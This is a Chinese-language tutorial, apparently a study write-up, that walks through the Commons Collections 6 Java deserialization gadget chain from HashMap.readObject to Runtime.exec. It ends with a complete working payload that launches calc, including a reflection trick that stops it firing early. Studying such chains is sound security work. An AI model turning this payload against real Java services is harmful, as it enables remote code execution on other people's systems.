CC6
CC6和CC1之間的區別
在CC1的LazyMap鏈中,呼叫鏈如下:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
而在CC1鏈中,對CommonsCollections和jdk版本是有限制的。
而CC6鏈不受版本影響,更具通用性。
其呼叫鏈為:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
其和CC1的不同點在於,入口類不同,透過
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
呼叫了LazyMap
的get()
方法。
CC6的呼叫鏈
HashMap.readObject()
方法呼叫了HashMap.hash()
方法:
HashMap.hash()
方法呼叫了key.hashCode()
方法,如果要使呼叫的是TiedMapEntry.hashCode()
方法,需要使key
引數為TiedMapEntry
物件:
TiedMapEntry.hashCode()
方法呼叫了TiedMapEntry.getValue()
方法:
TiedMapEntry.getValue()
方法呼叫了map.get()
方法,如果要使被呼叫的是LazyMap.get()
方法,需要使map
屬性為LazyMap
物件:
構造CC6的payload
CC6和CC1-2的呼叫鏈後半段一致
// 1. 建立ChainedTransformer鏈
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
完成TiedMapEntry.getValue()
TiedMapEntry.getValue()
方法,會呼叫map.get()
,其中將map
屬性設定為LazyMap
物件
而TiedMapEntry
的構造方法為public,所以可以直接例項化
程式碼如下:
這裡有一個點需要注意(小坑):
TiedMapEntry()
構造方法的第二個引數用不到,所以隨意傳入進行,但是重要的是它接受一個Object物件,而這個物件的類需要實現Serializable介面,如果不是,則後續的序列化不能成功。
所以,這裡不能傳入new Object(),但可以傳入new String(),因為Object類沒有實現Serializable介面。
// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
其中的getValue()
也為public
修飾,所以可以直接呼叫用來測試
tiedMapEntry.getValue();
執行,成功執行惡意程式碼:
完成TiedMapEntry.hashCode()
接下來,看誰呼叫了tiedMapEntry的getValue()
,前面已經說過,TiedMapEntry
的hashCode()
方法中有呼叫,因此:
tiedMapEntry.hashCode();
這裡直接測試,此時程式碼如下(只是將getValue
方法替換成了hashCode
方法):
完成HashMap.hash()
及HashMap.readObject()
接下來就是HashMap
中的hash()
方法呼叫hashCode()
方法,其中傳入的key
需要是tiedMapEntry
hash()
方法沒有被public修飾,不能直接呼叫,因此需要利用readObject()
方法,因為在readObject()
方法中存在hash()
方法的呼叫。
readObject()
方法在反序列化的時候會被呼叫,因此我們只需要建立一個HashMap物件,然後序列化即可。注意key
需要保證是tiedMapEntry
程式碼如下:
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null); // 將tiedMapEntry當做key存入hashMap
此時的payload的程式碼如下:
// CC6和CC1-2的呼叫鏈後半段一致
// 1. 建立ChainedTransformer鏈
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,會呼叫TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null); // 將tiedMapEntry當做key存入hashMap
SerAndUnser.serialize(hashMap);
// SerAndUnser.unserialize("ser.bin");
看似完美,但是執行會發現,即使不進行序列,也會彈計算器?
這是為什麼呢?
如果我們進入hashMap的put()
方法會發現,put()
方法中已經觸發了hash()
方法,
接下來,解決一下這個問題
解決hash()
方法提前觸發的問題
這裡其實跟URLDNS鏈中的情況差不多~
我們的解決思路是:
- 1)
tiedMapEntry
物件在put
方式放入hashMap
物件時,使tiedMapEntry
物件中的內容不完整,進而不讓最終的程式碼觸發。 - 2)
put
完成之後,透過反射再將tiedMapEntry
物件中的內容修改完整。
那如何讓tiedMapEntry
物件中的內容不完整呢?這裡需要看一下tiedMapEntry
物件中有什麼:
可以看到tiedMapEntry物件中有lazyMap、chainedTransformer、transformerArray。
其中tiedMapEntry物件的map
屬性存放的就是lazyMap,我們將map
屬性設定為空的map物件(除上面建立的lazyMap都行),則最終就不會觸發到惡意程式碼 (當然其他的也行:只要保證整個鏈子到不了惡意程式碼就行)。
第1步先獲取到tiedMapEntry的map屬性(map屬性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
第2步將map屬性設定為一個空的map物件(除上面建立的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
第3步,完成put操作後,再將其設定為lazyMap物件
mapField.set(tiedMapEntry,lazyMap);
因此最終的payload為:
// 1. 建立ChainedTransformer鏈
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,會呼叫TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解決hash提前觸發問題
// 1)獲取到tiedMapEntry的map屬性(map屬性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)將map屬性設定為一個空的map物件(除上面建立的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)執行之前的put操作,此時tiedMapEntry物件是不完整的
hashMap.put(tiedMapEntry,"aaa"); // 將tiedMapEntry當做key存入hashMap
// 4)完成put操作後,再將其設定為lazyMap物件
mapField.set(tiedMapEntry,lazyMap);
SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");